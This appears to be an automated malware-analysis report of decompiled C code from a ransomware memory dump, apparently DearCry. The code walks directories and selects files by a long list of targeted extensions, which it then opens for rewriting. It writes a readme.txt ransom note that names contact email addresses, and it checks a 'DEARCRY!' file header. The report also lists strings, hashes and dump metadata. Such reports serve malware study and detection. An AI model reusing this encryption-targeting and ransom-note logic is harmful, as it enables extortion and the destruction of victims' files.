                                                                					_t160 = "\\"; // 0x5c
                                                                					 *_t204 = _t160;
                                                                					__eflags =  *((intOrPtr*)(_t213 - 0x15f1)) - _t103;
                                                                					if( *((intOrPtr*)(_t213 - 0x15f1)) != _t103) {
                                                                						_t104 = E00B8A360(_t213 - 0x568, "DESKTOP");
                                                                						_t219 = _t215 + 8;
                                                                						__eflags = _t104;
                                                                						if(_t104 != 0) {
                                                                							_t109 = _t213 - 0x567;
                                                                							__eflags = _t109;
                                                                							do {
                                                                								_t171 = _t109[0];
                                                                								_t109 =  &(_t109[0]);
                                                                								__eflags = _t171;
                                                                							} while (_t171 != 0);
                                                                							_t172 = "/readme.txt"; // 0x6165722f
                                                                							 *_t109 = _t172;
                                                                							_t191 = M00BDF7C8; // 0x2e656d64
                                                                							_t109[1] = _t191;
                                                                							_t173 =  *0xbdf7cc; // 0x747874
                                                                							_t109[2] = _t173;
                                                                							_t110 = L00B8A96D(_t213 - 0x568, "w+"); // executed
                                                                							_t219 = _t219 + 8;
                                                                							_t205 = _t110;
                                                                							__eflags = _t205;
                                                                							if(_t205 != 0) {
                                                                								_t111 = 0xce9ef0;
                                                                								do {
                                                                									_t174 =  *_t111;
                                                                									_t111 = _t111 + 1;
                                                                									__eflags = _t174;
                                                                								} while (_t174 != 0);
                                                                								_t112 = _t111 - 0xce9ef1;
                                                                								__eflags = _t112;
                                                                								_push(_t205);
                                                                								_push(_t112);
                                                                								_push(1);
                                                                								_push("Your file has been encrypted!						 If you want to decrypt, please contact us.						 konedieyp@airmail.cc or uenwonken@memail.com						 And please send me the following hash!						 638428e5021d4ae247b21acf9c0bf6f6");
                                                                								E00B8ADA3(_t157, 0xce9ef1, _t205, _t211, __eflags);
                                                                								_push(_t205); // executed
                                                                								E00B8B1A7(_t157, 0xce9ef1, _t205, _t211, __eflags); // executed
                                                                								_t219 = _t219 + 0x14;
                                                                							}
                                                                						}
                                                                						_t160 = _t213 - 0xf98;
                                                                						_t185 =  *(_t213 - 0x1600);
                                                                						E00AB1640( *(_t213 - 0x1600), _t213 - 0xf98,  *(_t213 + 0x10),  *((intOrPtr*)(_t213 + 0x14)),  *((intOrPtr*)(_t213 - 0x15f8)),  *((intOrPtr*)(_t213 - 0x15fc))); // executed
                                                                						_t215 = _t219 + 0x18;
                                                                					}
                                                                					 *((char*)(_t213 - 0x15f1)) = 1;
                                                                					while(1) {
                                                                						L75:
                                                                						_t199 =  *(_t213 - 0x1608);
                                                                						_t89 = FindNextFileA(_t199, _t213 - 0x15f0); // executed
                                                                						if(_t89 == 0) {
                                                                							break;
                                                                						}
                                                                						if(( *(_t213 - 0x15f0) & 0x00000010) != 0) {
                                                                							__eflags =  *(_t213 - 0x15c4) - 0x2e;
                                                                							if( *(_t213 - 0x15c4) != 0x2e) {
                                                                								_t90 = _t211;
                                                                								_t187 = _t90 + 1;
                                                                								do {
                                                                									_t166 =  *_t90;
                                                                									_t90 = _t90 + 1;
                                                                									__eflags = _t166;
                                                                								} while (_t166 != 0);
                                                                								_t91 = _t90 - _t187;
                                                                								__eflags = _t91;
                                                                								_t185 = _t91;
                                                                								_t92 = _t213 - 0x15c4;
                                                                								_t46 = _t92 + 1; // 0x2f
                                                                								_t200 = _t46;
                                                                								do {
                                                                									_t160 =  *_t92;
                                                                									_t92 = _t92 + 1;
                                                                									__eflags = _t160;
                                                                								} while (_t160 != 0);
                                                                								__eflags = _t92 - _t200 + _t185 - 0x514;
                                                                								if(_t92 - _t200 + _t185 < 0x514) {
                                                                									E00B8BB40(_t200, _t213 - 0xf98, 0, 0x514);
                                                                									E00B8BB40(_t200, _t213 - 0x568, 0, 0x514);
                                                                									_push(_t213 - 0x15c4);
                                                                									E00B89C35(_t200, _t211, _t213 - 0xf98, "%s%s", _t211);
                                                                									_t215 = _t215 + 0x28;
                                                                									_t100 = 0;
                                                                									do {
                                                                										goto L49;
                                                                									} while (_t168 != 0);
                                                                									goto L50;
                                                                								}
                                                                							}
                                                                						} else {
                                                                							_t123 = E00B8AE30(_t160, _t213 - 0x15c4, 0x2e);
                                                                							_t215 = _t215 + 8;
                                                                							_t157 = _t123;
                                                                							if(_t157 != 0) {
                                                                								_t124 = _t211;
                                                                								_t186 = _t124 + 1;
                                                                								do {
                                                                									_t165 =  *_t124;
                                                                									_t124 = _t124 + 1;
                                                                								} while (_t165 != 0);
                                                                								_t185 = _t124 - _t186;
                                                                								_t126 = _t213 - 0x15c4;
                                                                								_t206 = _t126 + 1;
                                                                								do {
                                                                									_t160 =  *_t126;
                                                                									_t126 = _t126 + 1;
                                                                								} while (_t160 != 0);
                                                                								if(_t126 - _t206 + _t185 < 0x514) {
                                                                									E00B8BB40(_t206, _t213 - 0x50, 0, 0x32);
                                                                									_t220 = _t215 + 0xc;
                                                                									_t130 = _t157;
                                                                									_t9 =  &(_t130[0]); // 0x1
                                                                									_t194 = _t9;
                                                                									do {
                                                                										_t178 =  *_t130;
                                                                										_t130 =  &(_t130[0]);
                                                                									} while (_t178 != 0);
                                                                									if(_t130 - _t194 <= 0x32) {
                                                                										_t132 = _t157;
                                                                										_t10 =  &(_t132[0]); // 0x1
                                                                										_t195 = _t10;
                                                                										do {
                                                                											_t179 =  *_t132;
                                                                											_t132 =  &(_t132[0]);
                                                                											__eflags = _t179;
                                                                										} while (_t179 != 0);
                                                                										_t133 = _t132 - _t195;
                                                                										__eflags = _t132 - _t195;
                                                                									} else {
                                                                										_t133 = 0x32;
                                                                									}
                                                                									E00B8A6C0(_t213 - 0x50, _t157, _t133);
                                                                									_t221 = _t220 + 0xc;
                                                                									_t207 = 0;
                                                                									_t135 = _t213 - 0x50;
                                                                									_t185 = _t135 + 1;
                                                                									do {
                                                                										_t180 =  *_t135;
                                                                										_t135 = _t135 + 1;
                                                                									} while (_t180 != 0);
                                                                									if(_t135 != _t185) {
                                                                										do {
                                                                											_t153 = E00B8AFFA( *((char*)(_t213 + _t207 - 0x50)));
                                                                											_t221 = _t221 + 4;
                                                                											 *((char*)(_t213 + _t207 - 0x50)) = _t153;
                                                                											_t207 = _t207 + 1;
                                                                											_t154 = _t213 - 0x50;
                                                                											_t185 = _t154 + 1;
                                                                											do {
                                                                												_t184 =  *_t154;
                                                                												_t154 = _t154 + 1;
                                                                											} while (_t184 != 0);
                                                                										} while (_t207 < _t154 - _t185);
                                                                									}
                                                                									_t160 = _t213 - 0x50;
                                                                									_t137 = E00B8A360(".TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML  .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD  .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS", _t213 - 0x50);
                                                                									_t215 = _t221 + 8;
                                                                									if(_t137 != 0) {
                                                                										_t160 = "readme.txt";
                                                                										_t138 = _t213 - 0x15c4;
                                                                										while(1) {
                                                                											_t185 =  *_t138;
                                                                											if(_t185 !=  *_t160) {
                                                                												break;
                                                                											}
                                                                											if(_t185 == 0) {
                                                                												L28:
                                                                												_t138 = 0;
                                                                											} else {
                                                                												_t185 =  *((intOrPtr*)(_t138 + 1));
                                                                												if(_t185 != _t160[1]) {
                                                                													break;
                                                                												} else {
                                                                													_t138 = _t138 + 2;
                                                                													_t160 =  &(_t160[2]);
                                                                													if(_t185 != 0) {
                                                                														continue;
                                                                													} else {
                                                                														goto L28;
                                                                													}
                                                                												}
                                                                											}
                                                                											L30:
                                                                											if(_t138 != 0) {
                                                                												E00B8BB40(_t207, _t213 - 0xa80, 0, 0x514);
                                                                												_t222 = _t215 + 0xc;
                                                                												_t140 = _t211;
                                                                												_t198 = _t140 + 1;
                                                                												do {
                                                                													_t181 =  *_t140;
                                                                													_t140 = _t140 + 1;
                                                                												} while (_t181 != 0);
                                                                												if( *((char*)(_t140 - _t198 + _t211 - 1)) == 0x5c) {
                                                                													L38:
                                                                													_t185 = _t213 - 0x15c4;
                                                                													_push(_t213 - 0x15c4);
                                                                													_push(_t211);
                                                                													_push("%s%s");
                                                                													_push(_t213 - 0xa80);
                                                                												} else {
                                                                													_t149 = _t211;
                                                                													_t185 = _t149 + 1;
                                                                													do {
                                                                														_t182 =  *_t149;
                                                                														_t149 = _t149 + 1;
                                                                													} while (_t182 != 0);
                                                                													if( *((char*)(_t149 - _t185 + _t211 - 1)) == 0x2f) {
                                                                														goto L38;
                                                                													} else {
                                                                														_push(_t213 - 0x15c4);
                                                                														_push(_t211);
                                                                														_push("%s\\%s");
                                                                														_push(_t213 - 0xa80);
                                                                													}
                                                                												}
                                                                												E00B89C35(_t207, _t211);
                                                                												 *((intOrPtr*)(_t213 - 4)) = 0;
                                                                												_t160 = _t213 - 0xa80;
                                                                												_t144 = L00B8A96D(_t213 - 0xa80, "rb+"); // executed
                                                                												_t215 = _t222 + 0x18;
                                                                												_t251 = _t144;
                                                                												if(_t144 != 0) {
                                                                													_push(_t144); // executed
                                                                													E00B8B1A7(_t157, _t185, _t207, _t211, _t251); // executed
                                                                													_t208 =  *((intOrPtr*)(_t213 - 0x15f8));
                                                                													E00B8BB40( *((intOrPtr*)(_t213 - 0x15f8)),  *((intOrPtr*)(_t213 - 0x15f8)), 0, 0x100000);
                                                                													E00B8BB40( *((intOrPtr*)(_t213 - 0x15f8)),  *((intOrPtr*)(_t213 - 0x15fc)), 0, 0x100000);
                                                                													_t185 =  *(_t213 + 0x10);
                                                                													_t157 =  *(_t213 - 0x1600);
                                                                													E00AB15D0( *(_t213 - 0x1600), _t213 - 0xa80,  *(_t213 + 0x10), _t208,  *((intOrPtr*)(_t213 - 0x15fc)));
                                                                													_t215 = _t215 + 0x28;
                                                                												}
                                                                												 *((intOrPtr*)(_t213 - 4)) = 0xfffffffe;
                                                                											}
                                                                											goto L75;
                                                                										}
                                                                										asm("sbb eax, eax");
                                                                										asm("sbb eax, 0xffffffff");
                                                                										goto L30;
                                                                									}
                                                                								}
                                                                							}
                                                                						}
                                                                					}
                                                                					if(_t199 != 0xffffffff) {
                                                                						_t89 = FindClose(_t199); // executed
                                                                					}
                                                                					 *[fs:0x0] =  *((intOrPtr*)(_t213 - 0x10));
                                                                					_pop(_t210);
                                                                					_pop(_t212);
                                                                					_pop(_t158);
                                                                					return E00B89C26(_t89, _t158,  *(_t213 - 0x1c) ^ _t213, _t185, _t210, _t212);
                                                                					L49:
                                                                					_t168 =  *((intOrPtr*)(_t213 + _t100 - 0xf98));
                                                                					 *((char*)(_t213 + _t100 - 0x568)) = _t168;
                                                                					_t100 = _t100 + 1;
                                                                					__eflags = _t168;
                                                                				}
                                                                			}







































































                                                                0x00ab1a36
                                                                0x00ab1a36
                                                                0x00ab1a40
                                                                0x00ab1a40
                                                                0x00ab1a40
                                                                0x00ab1a47
                                                                0x00ab1a4e
                                                                0x00ab1a4f
                                                                0x00ab1a51
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1a53
                                                                0x00ab1a53
                                                                0x00ab1a53
                                                                0x00ab1a55
                                                                0x00ab1a5b
                                                                0x00ab1a60
                                                                0x00ab1a60
                                                                0x00ab1a62
                                                                0x00ab1a63
                                                                0x00ab1a63
                                                                0x00ab1a67
                                                                0x00ab1a69
                                                                0x00ab1a70
                                                                0x00ab1a79
                                                                0x00ab1a7e
                                                                0x00ab1a81
                                                                0x00ab1a88
                                                                0x00ab1a88
                                                                0x00ab1a89
                                                                0x00ab1a8f
                                                                0x00ab1a92
                                                                0x00ab1a92
                                                                0x00ab1a94
                                                                0x00ab1a95
                                                                0x00ab1a95
                                                                0x00ab1a9b
                                                                0x00ab1a9b
                                                                0x00ab1a70
                                                                0x00ab1a9f
                                                                0x00ab1aa1
                                                                0x00ab1aa8
                                                                0x00ab1aaa
                                                                0x00ab1ab0
                                                                0x00ab1ab1
                                                                0x00ab1ab8
                                                                0x00ab1abd
                                                                0x00ab1ac0
                                                                0x00ab1ac2
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1ac4
                                                                0x00ab1acd
                                                                0x00ab1ad3
                                                                0x00ab1ad6
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1ad8
                                                                0x00000000
                                                                0x00ab1ad6
                                                                0x00ab1ada
                                                                0x00ab1ada
                                                                0x00ab1ae1
                                                                0x00ab1ae7
                                                                0x00ab1ae7
                                                                0x00ab1ae8
                                                                0x00ab1ae8
                                                                0x00ab1aeb
                                                                0x00ab1aec
                                                                0x00ab1aec
                                                                0x00ab1af0
                                                                0x00ab1af7
                                                                0x00ab1afa
                                                                0x00ab1b00
                                                                0x00ab1b12
                                                                0x00ab1b17
                                                                0x00ab1b1a
                                                                0x00ab1b1c
                                                                0x00ab1b24
                                                                0x00ab1b24
                                                                0x00ab1b25
                                                                0x00ab1b25
                                                                0x00ab1b28
                                                                0x00ab1b29
                                                                0x00ab1b29
                                                                0x00ab1b2d
                                                                0x00ab1b33
                                                                0x00ab1b35
                                                                0x00ab1b3b
                                                                0x00ab1b3e
                                                                0x00ab1b44
                                                                0x00ab1b53
                                                                0x00ab1b58
                                                                0x00ab1b5b
                                                                0x00ab1b5d
                                                                0x00ab1b5f
                                                                0x00ab1b61
                                                                0x00ab1b70
                                                                0x00ab1b70
                                                                0x00ab1b72
                                                                0x00ab1b73
                                                                0x00ab1b73
                                                                0x00ab1b77
                                                                0x00ab1b77
                                                                0x00ab1b79
                                                                0x00ab1b7a
                                                                0x00ab1b7b
                                                                0x00ab1b7d
                                                                0x00ab1b82
                                                                0x00ab1b87
                                                                0x00ab1b88
                                                                0x00ab1b8d
                                                                0x00ab1b8d
                                                                0x00ab1b5f
                                                                0x00ab1ba6
                                                                0x00ab1bad
                                                                0x00ab1bb4
                                                                0x00ab1bb9
                                                                0x00ab1bb9
                                                                0x00ab1bbc
                                                                0x00ab1bc3
                                                                0x00ab1bc3
                                                                0x00ab1bca
                                                                0x00ab1bd1
                                                                0x00ab1bd9
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab176d
                                                                0x00ab19ac
                                                                0x00ab19b3
                                                                0x00ab19b9
                                                                0x00ab19bb
                                                                0x00ab19c0
                                                                0x00ab19c0
                                                                0x00ab19c2
                                                                0x00ab19c3
                                                                0x00ab19c3
                                                                0x00ab19c7
                                                                0x00ab19c7
                                                                0x00ab19c9
                                                                0x00ab19cb
                                                                0x00ab19d1
                                                                0x00ab19d1
                                                                0x00ab19d4
                                                                0x00ab19d4
                                                                0x00ab19d6
                                                                0x00ab19d7
                                                                0x00ab19d7
                                                                0x00ab19df
                                                                0x00ab19e4
                                                                0x00ab19f8
                                                                0x00ab1a0e
                                                                0x00ab1a1c
                                                                0x00ab1a2a
                                                                0x00ab1a2f
                                                                0x00ab1a32
                                                                0x00ab1a40
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1a40
                                                                0x00ab19e4
                                                                0x00ab1773
                                                                0x00ab177c
                                                                0x00ab1781
                                                                0x00ab1784
                                                                0x00ab1788
                                                                0x00ab178e
                                                                0x00ab1790
                                                                0x00ab1793
                                                                0x00ab1793
                                                                0x00ab1795
                                                                0x00ab1796
                                                                0x00ab179c
                                                                0x00ab179e
                                                                0x00ab17a4
                                                                0x00ab17a7
                                                                0x00ab17a7
                                                                0x00ab17a9
                                                                0x00ab17aa
                                                                0x00ab17b7
                                                                0x00ab17c5
                                                                0x00ab17ca
                                                                0x00ab17cd
                                                                0x00ab17cf
                                                                0x00ab17cf
                                                                0x00ab17d2
                                                                0x00ab17d2
                                                                0x00ab17d4
                                                                0x00ab17d5
                                                                0x00ab17de
                                                                0x00ab17e7
                                                                0x00ab17e9
                                                                0x00ab17e9
                                                                0x00ab17f0
                                                                0x00ab17f0
                                                                0x00ab17f2
                                                                0x00ab17f3
                                                                0x00ab17f3
                                                                0x00ab17f7
                                                                0x00ab17f7
                                                                0x00ab17e0
                                                                0x00ab17e0
                                                                0x00ab17e0
                                                                0x00ab17ff
                                                                0x00ab1804
                                                                0x00ab1807
                                                                0x00ab1809
                                                                0x00ab180c
                                                                0x00ab1810
                                                                0x00ab1810
                                                                0x00ab1812
                                                                0x00ab1813
                                                                0x00ab1819
                                                                0x00ab1820
                                                                0x00ab1826
                                                                0x00ab182b
                                                                0x00ab182e
                                                                0x00ab1832
                                                                0x00ab1833
                                                                0x00ab1836
                                                                0x00ab1840
                                                                0x00ab1840
                                                                0x00ab1842
                                                                0x00ab1843
                                                                0x00ab1849
                                                                0x00ab1820
                                                                0x00ab184d
                                                                0x00ab1856
                                                                0x00ab185b
                                                                0x00ab1860
                                                                0x00ab1866
                                                                0x00ab186b
                                                                0x00ab1871
                                                                0x00ab1871
                                                                0x00ab1875
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1879
                                                                0x00ab188d
                                                                0x00ab188d
                                                                0x00ab187b
                                                                0x00ab187b
                                                                0x00ab1881
                                                                0x00000000
                                                                0x00ab1883
                                                                0x00ab1883
                                                                0x00ab1886
                                                                0x00ab188b
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab188b
                                                                0x00ab1881
                                                                0x00ab1896
                                                                0x00ab1898
                                                                0x00ab18ac
                                                                0x00ab18b1
                                                                0x00ab18b4
                                                                0x00ab18b6
                                                                0x00ab18c0
                                                                0x00ab18c0
                                                                0x00ab18c2
                                                                0x00ab18c3
                                                                0x00ab18ce
                                                                0x00ab18fb
                                                                0x00ab18fb
                                                                0x00ab1901
                                                                0x00ab1902
                                                                0x00ab1903
                                                                0x00ab190e
                                                                0x00ab18d0
                                                                0x00ab18d0
                                                                0x00ab18d2
                                                                0x00ab18d5
                                                                0x00ab18d5
                                                                0x00ab18d7
                                                                0x00ab18d8
                                                                0x00ab18e3
                                                                0x00000000
                                                                0x00ab18e5
                                                                0x00ab18eb
                                                                0x00ab18ec
                                                                0x00ab18ed
                                                                0x00ab18f8
                                                                0x00ab18f8
                                                                0x00ab18e3
                                                                0x00ab190f
                                                                0x00ab1917
                                                                0x00ab1923
                                                                0x00ab192a
                                                                0x00ab192f
                                                                0x00ab1932
                                                                0x00ab1934
                                                                0x00ab1936
                                                                0x00ab1937
                                                                0x00ab1946
                                                                0x00ab194d
                                                                0x00ab1963
                                                                0x00ab196d
                                                                0x00ab1977
                                                                0x00ab197d
                                                                0x00ab1982
                                                                0x00ab1982
                                                                0x00ab1985
                                                                0x00ab1985
                                                                0x00000000
                                                                0x00ab1898
                                                                0x00ab1891
                                                                0x00ab1893
                                                                0x00000000
                                                                0x00ab1893
                                                                0x00ab1860
                                                                0x00ab17b7
                                                                0x00ab1788
                                                                0x00ab176d
                                                                0x00ab1be2
                                                                0x00ab1be5
                                                                0x00ab1be5
                                                                0x00ab1bee
                                                                0x00ab1bf6
                                                                0x00ab1bf7
                                                                0x00ab1bf8
                                                                0x00ab1c06
                                                                0x00ab1a40
                                                                0x00ab1a40
                                                                0x00ab1a47
                                                                0x00ab1a4e
                                                                0x00ab1a4f
                                                                0x00ab1a4f

                                                                Strings
                                                                • Your file has been encrypted! If you want to decrypt, please contact us. konedieyp@airmail.cc or uenwonken@memail.com And please send me the following hash! 638428e5021d4ae247b21acf9c0bf6f6, xrefs: 00AB1B61, 00AB1B7A, 00AB1B7D
                                                                • /readme.txt, xrefs: 00AB1B2D
                                                                • DESKTOP, xrefs: 00AB1B06
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID: /readme.txt$DESKTOP$Your file has been encrypted! If you want to decrypt, please contact us. konedieyp@airmail.cc or uenwonken@memail.com And please send me the following hash! 638428e5021d4ae247b21acf9c0bf6f6
                                                                • API String ID: 0-4026772483
                                                                • Opcode ID: 70805e1fd9a9db2c2c1cd39ae19f779ba1f7054f884b5ed60d7afb44236d5f3e
                                                                • Instruction ID: 87f9864bd8ed6aab30f0e36a922ba157dde1bcd47d2fc2e2f2c640dea530ae7d
                                                                • Opcode Fuzzy Hash: 70805e1fd9a9db2c2c1cd39ae19f779ba1f7054f884b5ed60d7afb44236d5f3e
                                                                • Instruction Fuzzy Hash: EF5147719046468FCB20DB14DCA0FF6B7F9EF81381F5441EAE80A97252FA31AD86CB50
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AB10C0(void* __ebx, void* __esi, void* __ebp) {
                                                                				signed int _v4;
                                                                				char _v260;
                                                                				char _v516;
                                                                				char _v524;
                                                                				char _v528;
                                                                				void* _v532;
                                                                				void* __edi;
                                                                				signed int _t16;
                                                                				void* _t19;
                                                                				void* _t24;
                                                                				void* _t25;
                                                                				void* _t26;
                                                                				intOrPtr _t27;
                                                                				void* _t29;
                                                                				void* _t30;
                                                                				void* _t33;
                                                                				signed int _t38;
                                                                				void* _t39;
                                                                				signed int _t41;
                                                                				void* _t42;
                                                                				signed int _t54;
                                                                
                                                                				_t39 = __esi;
                                                                				_t30 = __ebx;
                                                                				_t41 =  &_v532;
                                                                				_t16 =  *0xbe5970; // 0xe6e1d076
                                                                				_v4 = _t16 ^ _t41;
                                                                				_t38 = 0; // executed
                                                                				_t19 = E00B8AC24( &_v516, 1, 8, __esi); // executed
                                                                				_t42 = _t41 + 0x10;
                                                                				if(_t19 != 8) {
                                                                					L11:
                                                                					E00B8B1A7(_t30, _t37, _t38, _t39, _t54); // executed
                                                                					return E00B89C26(_t38, _t30, _v4 ^ _t42 + 0x00000004, _t37, _t38, _t39, _t39);
                                                                				} else {
                                                                					_t33 = 0;
                                                                					while(1) {
                                                                						_t37 =  *((intOrPtr*)(_t42 + _t33 + 0x14));
                                                                						_t5 = _t33 + "DEARCRY!"; // 0x52414544
                                                                						if( *((intOrPtr*)(_t42 + _t33 + 0x14)) !=  *_t5) {
                                                                							goto L11;
                                                                						}
                                                                						_t19 = _t19 - 4;
                                                                						_t33 = _t33 + 4;
                                                                						if(_t19 >= 4) {
                                                                							continue;
                                                                						}
                                                                						_t24 = E00B8AC24( &_v532, 1, 4, _t39);
                                                                						_t42 = _t42 + 0x10;
                                                                						if(_t24 == 4 && _v532 == 0x100) {
                                                                							_t25 = E00B8AC24( &_v260, 1, 0x100, _t39);
                                                                							_t42 = _t42 + 0x10;
                                                                							if(_t25 == _v532) {
                                                                								_t37 =  &_v528;
                                                                								_t26 = E00B8AC24( &_v528, 1, 4, _t39);
                                                                								_t42 = _t42 + 0x10;
                                                                								if(_t26 == 4) {
                                                                									_t27 = _v528;
                                                                									if(_t27 == 3 || _t27 == 4) {
                                                                										_t29 = E00B8AC24( &_v524, 1, 8, _t39);
                                                                										_t42 = _t42 + 0x10;
                                                                										_t14 = _t29 == 8;
                                                                										_t54 = _t14;
                                                                										_t38 = 0 | _t14;
                                                                									}
                                                                								}
                                                                							}
                                                                						}
                                                                						goto L11;
                                                                					}
                                                                					goto L11;
                                                                				}
                                                                			}
























                                                                0x00ab10c0
                                                                0x00ab10c0
                                                                0x00ab10c0
                                                                0x00ab10c6
                                                                0x00ab10cd
                                                                0x00ab10df
                                                                0x00ab10e1
                                                                0x00ab10e6
                                                                0x00ab10ec
                                                                0x00ab119b
                                                                0x00ab119c
                                                                0x00ab11bb
                                                                0x00ab10f2
                                                                0x00ab10f2
                                                                0x00ab1100
                                                                0x00ab1100
                                                                0x00ab1104
                                                                0x00ab110a
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1110
                                                                0x00ab1113
                                                                0x00ab1119
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1125
                                                                0x00ab112a
                                                                0x00ab1130
                                                                0x00ab114c
                                                                0x00ab1151
                                                                0x00ab1158
                                                                0x00ab115d
                                                                0x00ab1164
                                                                0x00ab1169
                                                                0x00ab116f
                                                                0x00ab1171
                                                                0x00ab1178
                                                                0x00ab1189
                                                                0x00ab1190
                                                                0x00ab1196
                                                                0x00ab1196
                                                                0x00ab1199
                                                                0x00ab1199
                                                                0x00ab1178
                                                                0x00ab116f
                                                                0x00ab1158
                                                                0x00000000
                                                                0x00ab1130
                                                                0x00000000
                                                                0x00ab1100

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __fread_nolock
                                                                • String ID:
                                                                • API String ID: 2638373210-0
                                                                • Opcode ID: 6ef5f8fae1fa46cb0cc0cca7d7eafaaf9d758f15873c561597b3c24031ab7c5e
                                                                • Instruction ID: 755ef5aca846fe34156535f9de62ab5cc21b3387f9b3a0cd903ca22a224ff921
                                                                • Opcode Fuzzy Hash: 6ef5f8fae1fa46cb0cc0cca7d7eafaaf9d758f15873c561597b3c24031ab7c5e
                                                                • Instruction Fuzzy Hash: 3421B07164020027FA30E6289CA6FFF36A9EB90750F804D2EF319D6182E675D545C6A3
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 91%
                                                                			E00B8AC41(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
                                                                				signed int _v8;
                                                                				signed int _v12;
                                                                				signed int _v16;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				void* __ebp;
                                                                				signed int _t59;
                                                                				intOrPtr* _t61;
                                                                				signed int _t63;
                                                                				void* _t68;
                                                                				signed int _t69;
                                                                				signed int _t72;
                                                                				signed int _t74;
                                                                				signed int _t75;
                                                                				signed int _t77;
                                                                				signed int _t78;
                                                                				signed int _t81;
                                                                				signed int _t82;
                                                                				signed int _t84;
                                                                				signed int _t88;
                                                                				signed int _t97;
                                                                				signed int _t98;
                                                                				signed int _t99;
                                                                				intOrPtr* _t100;
                                                                				void* _t101;
                                                                
                                                                				_t90 = __edx;
                                                                				if(_a8 == 0 || _a12 == 0) {
                                                                					L4:
                                                                					return 0;
                                                                				} else {
                                                                					_t100 = _a16;
                                                                					_t105 = _t100;
                                                                					if(_t100 != 0) {
                                                                						_t82 = _a4;
                                                                						__eflags = _t82;
                                                                						if(__eflags == 0) {
                                                                							goto L3;
                                                                						}
                                                                						_t63 = _t59 | 0xffffffff;
                                                                						_t90 = _t63 % _a8;
                                                                						__eflags = _a12 - _t63 / _a8;
                                                                						if(__eflags > 0) {
                                                                							goto L3;
                                                                						}
                                                                						_t97 = _a8 * _a12;
                                                                						__eflags =  *(_t100 + 0xc) & 0x0000010c;
                                                                						_v8 = _t82;
                                                                						_v16 = _t97;
                                                                						_t81 = _t97;
                                                                						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
                                                                							_v12 = 0x1000;
                                                                						} else {
                                                                							_v12 =  *(_t100 + 0x18);
                                                                						}
                                                                						__eflags = _t97;
                                                                						if(_t97 == 0) {
                                                                							L32:
                                                                							return _a12;
                                                                						} else {
                                                                							do {
                                                                								_t84 =  *(_t100 + 0xc) & 0x00000108;
                                                                								__eflags = _t84;
                                                                								if(_t84 == 0) {
                                                                									L18:
                                                                									__eflags = _t81 - _v12;
                                                                									if(_t81 < _v12) {
                                                                										_t68 = E00B8EC95(_t90, _t97,  *_v8, _t100); // executed
                                                                										__eflags = _t68 - 0xffffffff;
                                                                										if(_t68 == 0xffffffff) {
                                                                											L34:
                                                                											_t69 = _t97;
                                                                											L35:
                                                                											return (_t69 - _t81) / _a8;
                                                                										}
                                                                										_v8 = _v8 + 1;
                                                                										_t72 =  *(_t100 + 0x18);
                                                                										_t81 = _t81 - 1;
                                                                										_v12 = _t72;
                                                                										__eflags = _t72;
                                                                										if(_t72 <= 0) {
                                                                											_v12 = 1;
                                                                										}
                                                                										goto L31;
                                                                									}
                                                                									__eflags = _t84;
                                                                									if(_t84 == 0) {
                                                                										L21:
